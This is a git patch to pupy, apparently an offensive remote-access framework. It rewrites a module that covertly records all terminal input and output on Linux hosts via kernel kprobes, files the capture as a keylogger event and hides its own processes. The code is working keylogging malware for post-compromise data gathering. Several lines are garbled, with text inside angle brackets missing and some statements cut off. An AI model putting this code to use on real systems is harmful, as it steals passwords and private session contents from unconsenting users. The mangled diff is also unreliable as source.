From 1b9889b9c3772bf74bb60b7e0577001de3f1c595 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Wed, 20 Nov 2019 19:06:30 +0200 Subject: [PATCH] ttyrec/amd64: rewrite to capture both TTY frontend and backend. Record asciinema --- pupy/modules/ttyrec.py | 127 ++++++++-- pupy/packages/linux/all/ttyrec.py | 379 ++++++++++++++++++++---------- 2 files changed, 374 insertions(+), 132 deletions(-) diff --git a/pupy/modules/ttyrec.py b/pupy/modules/ttyrec.py index efd87a60..3faff0da 100644 --- a/pupy/modules/ttyrec.py +++ b/pupy/modules/ttyrec.py @@ -1,24 +1,88 @@ # -*- coding: utf-8 -*- +# To build module to extract proper offsets: +# > cat find_offsets.c +# #include +# #include +# #include +# +# int tty_get_x(struct tty_struct *tty) { +# return tty->winsize.ws_row +# } +# EXPORT_SYMBOL(tty_get_x) +# +# const char * tty_get_name(struct tty_struct *tty) { +# return tty->name +# } +# EXPORT_SYMBOL(tty_get_name) +# +# int tty_get_y(struct tty_struct *tty) { +# return tty->winsize.ws_col +# } +# EXPORT_SYMBOL(tty_get_y) +# +# static struct tty_struct *file_tty(struct file *file) +# { +# return ((struct tty_file_private *)file->private_data)->tty +# } +# EXPORT_SYMBOL(file_tty) +# +# > cat Makefile +# obj-m += find_offsets.o +# all: +# make -C $(KERNELDIR) M=$(PWD) modules + import os import zlib import struct +import json from StringIO import StringIO from pupylib.PupyModule import PupyModule, PupyArgumentParser from pupylib.PupyModule import config -KEYLOGGER_EVENT = 0x14000001 +TTYREC_EVENT = 0x14000001 + +__events__ = { + TTYREC_EVENT: 'keylogger' +} __class_name__ = 'TTYRec' + +def _to_unicode(x): + for charset in ('utf-8', 'utf-16le', 'latin-1'): + try: + return x.decode(charset) + except UnicodeDecodeError: + pass + + return x + + +def _to_int(x): + if x is None: + return None + elif isinstance(x, (int, long)): + return x + elif x.startswith('0x'): + return int(x[2:], 16) + else: + return int(x) + + @config(cat='gather', compat=['linux']) class TTYRec(PupyModule): - ''' Globally capture intput/output to TTY. Compatible with kernels - which have KProbes tracing. Right now backed module tested/works only on AMD64. - You can (try to) use ttyplay to play dump. Note that fullscreen apps likely will - be corrupted. ''' + ''' + Globally capture intput/output to TTY. Compatible with kernels + which have KProbes tracing. Right now backed module tested/works + only on AMD64. + To use this module you need to have offsets for your kernel: + name: (struct tty_struct *tty)->name + winsize: (struct tty_struct *tty)->winsize.ws_row + private: ((struct tty_file_private *)file->private_data)->tty + ''' unique_instance = True @@ -26,13 +90,16 @@ class TTYRec(PupyModule): 'linux': ['ttyrec'] } - header = struct.Struct('<8s16ssIIII') + header = struct.Struct(' {}'.format(tty, dest)) + + is_append = os.path.exists(dest) dests[filename] = open(dest, 'a') - payload = data.read(lbuf) - dests[filename].write(struct.pack(' 0: + data = data[:items] + else: + # Something went wrong + continue - if not cached_tty or (sec - cached_sec > 600): - cached_sec = sec - try: - cached_tty = os.readlink('/proc/{}/fd/1'.format(pid)) - except (OSError, IOError): - cached_tty = None + if tty_name.startswith('ptm'): + # Throw away this crap + continue - self._tty_cache[pid] = cached_tty, cached_sec + if rule == 'tty' and not tty_name.startswith( + 'tty') and probe == 'o': + # Throw away pty/tty duplicates + continue - yield cached_tty, comm, pid, probe, sec, usec, data + if tty_name not in self._tty_cache: + self._tty_cache[tty_name] = TTYState() + + ts = self._tty_cache[tty_name].get_last_input(ts) + + if pid in self._ignore: + continue + + if self._tty_cache[tty_name].need_resize((x, y)): + yield tty_name, comm, pid, 'R', ts, (x, y) + + yield tty_name, comm, pid, probe, ts, data class TTYRec(Task): __slots__ = ('_ttymon', '_results_lock', '_state', '_event_id') - def __init__(self, manager, event_id=None): + def __init__(self, manager, event_id=None, + name=None, winsize=None, tty_private=None): super(TTYRec, self).__init__(manager) - self._ttymon = TTYMon(ignore=[os.getpid(), os.getppid()]) + self._ttymon = TTYMon( + name, winsize, tty_private, ignore=[os.getpid(), os.getppid()] + ) self._results_lock = Lock() self._buffer = Buffer() self._compressor = zlib.compressobj(9) self._event_id = event_id + self._session = 0 def task(self): - for cached_tty, comm, pid, probe, sec, usec, buf in self._ttymon: - if cached_tty: - cached_tty = cached_tty.rsplit('/', 1)[-1] - else: - cached_tty = '' + self._session, = struct.unpack('